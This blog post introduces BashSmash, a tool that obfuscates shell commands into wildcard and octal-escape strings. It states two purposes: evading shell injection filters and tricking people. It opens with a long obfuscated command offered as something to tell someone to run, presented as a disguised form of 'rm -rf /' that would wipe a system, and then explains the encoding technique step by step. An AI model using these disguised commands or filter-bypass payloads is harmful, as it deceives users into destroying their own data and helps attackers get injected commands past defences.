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<h1>BashSmash</h1>
<h4>A tool for driving people crazy</h4>
<hr>
<p><em>2019-06-26 11:48:00 -0400</em></p>
<br>
<p>I was watching this great <a href="https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwiOhNze_4fjAhUiB50JHR12D8AQwqsBMAB6BAgJEAQ&url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D6D1LnMj0Yt0&usg=AOvVaw2nOgft0SoPZujc9js9Vxhx">Liveoverflow video</a> yesterday, and really liked the idea of building escape sequences with strings. So, I built a new tool, <a href="https://pypi.org/project/bashsmash/">BashSmash</a>.</p>
<h2 id="the-goal">The goal</h2>
<p>The goal of BashSmash is very similar to that described in Liveoverflow’s video. Do anything in bash without using any letters or numbers except <code class="highlighter-rouge">n</code> and <code class="highlighter-rouge">f</code> (he used <code class="highlighter-rouge">i</code> instead of <code class="highlighter-rouge">f</code>). This can both bypass shell injection filters, and generally mess with people.</p>
<p>Saying “Hey, you should run:”</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__<span class="o">()</span> <span class="o">{</span>/???/???/???n?f <span class="k">${#}</span><span class="p">;</span><span class="o">}</span><span class="p">;</span> <span class="si">$(</span>/???/???/???n?f <span class="si">$(</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span><span class="si">)</span><span class="p">;</span><span class="si">)</span><span class="p">;</span>
</code></pre></div></div>
<p>Instead of:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo rm</span> <span class="nt">-rf</span> <span class="nt">--no-preserve--root</span> /
</code></pre></div></div>
<p>Can usually get you much farther with your goal of world domination.</p>
<h2 id="how-does-this-work">How does this work?</h2>
<p>BashSmash abuses bash wildcards, octal escape codes, and a large number of backslashes to obfuscate any valid shell script.</p>
<p>Firstly, it is important to know that <code class="highlighter-rouge">printf</code> will gladly convert any octal to a string, and bash’s eval (<code class="highlighter-rouge">$()</code>) function will gladly run any string as a bash script. (See where this is going?)</p>
<p>Because of these tools, we know that the following is possible:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Printf-ing a string will print the string</span>
<span class="nb">printf</span> <span class="s2">"hello"</span> <span class="c"># This will return hello</span>
<span class="c"># Printf-ing a sequence of octal escapes will also print a string</span>
<span class="nb">printf</span> <span class="s2">"</span><span class="se">\1</span><span class="s2">50</span><span class="se">\1</span><span class="s2">45</span><span class="se">\1</span><span class="s2">54</span><span class="se">\1</span><span class="s2">54</span><span class="se">\1</span><span class="s2">57"</span> <span class="c"># This will also return hello</span>
<span class="c"># Eval-ing a printf of an octal escape sequence will build a string, then run it in bash</span>
<span class="si">$(</span><span class="nb">printf</span> <span class="s2">"</span><span class="se">\1</span><span class="s2">50</span><span class="se">\1</span><span class="s2">45</span><span class="se">\1</span><span class="s2">54</span><span class="se">\1</span><span class="s2">54</span><span class="se">\1</span><span class="s2">57"</span><span class="si">)</span> <span class="c"># This will warn that "hello" is not a valid command</span>
</code></pre></div></div>
<p>This has some issues. You may have noticed that letters are required to spell <code class="highlighter-rouge">printf</code>, and numbers are needed for the octal escapes. Let’s start by fixing the letters problem.</p>
<p>Bash allows wildcards. You may have run something like <code class="highlighter-rouge">cp ./foo/* ./bar</code> before. This uses the wildcard <code class="highlighter-rouge">*</code>. The <code class="highlighter-rouge">*</code> wildcard will be auto-evaluated to expand into a list of all files in it’s place.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Let's assume that ./foo contains the following files:</span>
<span class="c"># john.txt</span>
<span class="c"># carl.txt</span>
<span class="c"># Running the following:</span>
<span class="nb">cat</span> ./foo/<span class="k">*</span>
<span class="c"># Will automatically expand to:</span>
<span class="nb">cat</span> ./foo/john.txt ./foo/carl.txt
<span class="c"># Now, lets assume that ./baz contains a single file:</span>
<span class="c"># KillHumans.sh</span>
<span class="c"># Running:</span>
./baz/<span class="k">*</span>
<span class="c"># Will execute KillHumans.sh</span>
</code></pre></div></div>
<p>Neat, Right? To take this a step further, you can use the second wildcard, <code class="highlighter-rouge">?</code>, to specify the number of characters you want to look for. Running <code class="highlighter-rouge">./baz/?</code> will not run <code class="highlighter-rouge">KillHumans.sh</code> because <code class="highlighter-rouge">KillHumans.sh</code> is not 1 char long. But <code class="highlighter-rouge">./baz/?????????????</code> will. This is messy, but it works.</p>
<p>Now, back to our problem with <code class="highlighter-rouge">printf</code>. <code class="highlighter-rouge">printf</code> is located in <code class="highlighter-rouge">/usr/bin/printf</code> on all *nix systems. This is handy as, firstly, this can be wildcarded, and secondly, the path contains 2 <code class="highlighter-rouge">n</code>’s and an <code class="highlighter-rouge">f</code> (the two letters we are allowed to use). So, instead of calling <code class="highlighter-rouge">printf</code>, we can call <code class="highlighter-rouge">/???/??n/???n?f</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Now, we can call:</span>
/???/??n/???n?f <span class="s2">"</span><span class="se">\1</span><span class="s2">50</span><span class="se">\1</span><span class="s2">45</span><span class="se">\1</span><span class="s2">54</span><span class="se">\1</span><span class="s2">54</span><span class="se">\1</span><span class="s2">57"</span>
<span class="c"># To print "hello". Or:</span>
<span class="si">$(</span>/???/??n/???n?f <span class="s2">"</span><span class="se">\1</span><span class="s2">50</span><span class="se">\1</span><span class="s2">45</span><span class="se">\1</span><span class="s2">54</span><span class="se">\1</span><span class="s2">54</span><span class="se">\1</span><span class="s2">57"</span><span class="si">)</span>
<span class="c"># To run "hello" as a program (still gives an error)</span>
</code></pre></div></div>
<p>Now, our problem with letters is solved, but we are still using numbers.</p>
<p>Bash allows anyone to define functions. These functions can take arguments and call other programs. So, what if we have a function that can take any number of arguments, and return the number of arguments as a number? This will be helpful because an empty argument can be added with <code class="highlighter-rouge">""</code> (not a number or letter), and this will replace the need for numbers in our code. On a side note, bash allows <code class="highlighter-rouge">__</code> as a function name, so that’s cool.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Our function needs to do the following:</span>
<span class="c"># - Take any number of arguments</span>
<span class="c"># - Turn the number to a string</span>
<span class="c"># - Print the string so it can be evaluated back to a number with $()</span>
<span class="c"># First, we start with an empty function, named __ (two underscores)</span>
__<span class="o">()</span> <span class="o">{}</span><span class="p">;</span>
<span class="c"># Easy. Next, we use a built-in feature of bash to count the number of arguments passed</span>
__<span class="o">()</span> <span class="o">{</span> <span class="k">${#}</span> <span class="o">}</span><span class="p">;</span>
<span class="c"># With the ${#} feature in bash, giving this function 3 arguments will return a 3</span>
<span class="c"># Next, we need to print this number to stdout </span>
<span class="c"># This can be done with printf</span>
<span class="c"># We still do not want to use any letters or numbers, so we must use our string of wildcards</span>
/???/??n/???n?f
<span class="c"># So, we just plug this into our function</span>
__<span class="o">()</span> <span class="o">{</span>/???/??n/???n?f <span class="k">${#}</span><span class="o">}</span><span class="p">;</span>
<span class="c"># Now, calling our function with three arguments</span>
__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span>
<span class="c"># Will print:</span>
3
</code></pre></div></div>
<p>Let’s put this together. First, we must tell bash that our <code class="highlighter-rouge">__</code> function exists.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># We do this by starting our new script with: </span>
__<span class="o">()</span> <span class="o">{</span>/???/??n/???n?f <span class="k">${#}</span><span class="o">}</span><span class="p">;</span>
<span class="c"># Next, an eval to actually run our constructed string. Together it now looks like this:</span>
__<span class="o">()</span> <span class="o">{</span>/???/??n/???n?f <span class="k">${#}</span><span class="o">)</span><span class="p">;</span> <span class="si">$(</span>/???/??n/???n?f <span class="si">)</span>
<span class="c"># Now, we construct a string using the __ function over and over again. "echo hello" looks like:</span>
__<span class="o">()</span> <span class="o">{</span>/???/???/???n?f <span class="k">${#}</span><span class="p">;</span><span class="o">}</span><span class="p">;</span> <span class="si">$(</span>/???/???/???n?f <span class="si">$(</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span>/???/???/???n?f <span class="s2">"</span><span class="se">\\\\</span><span class="sb">`</span>__ <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">``</span>__ <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="s2">""</span> <span class="sb">`</span><span class="s2">"</span><span class="p">;</span><span class="si">)</span><span class="p">;</span><span class="si">)</span><span class="p">;</span>
</code></pre></div></div>
<p>Thats it! You do not actually have to worry about this, because BashSmash does it all for you automatically.</p>
<h2 id="how-do-i-use-the-script">How do I use the script?</h2>
<p>To use BashSmash, simply make sure both <code class="highlighter-rouge">python3.7</code> and <code class="highlighter-rouge">python3-pip</code> are installed on your computer, then run:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip3 install bashsmash
</code></pre></div></div>
<p>For more info, see the <a href="https://pypi.org/project/bashsmash/">PYPI Page</a>.</p>
<h2 id="why-do-you-have-a-desire-to-break-things-with-python">Why do you have a desire to break things with python</h2>
<p>Because it is fun. Give it a try!</p>
<p>I will have a post here at some point about the weird things I do in my python code and why I do them.</p>
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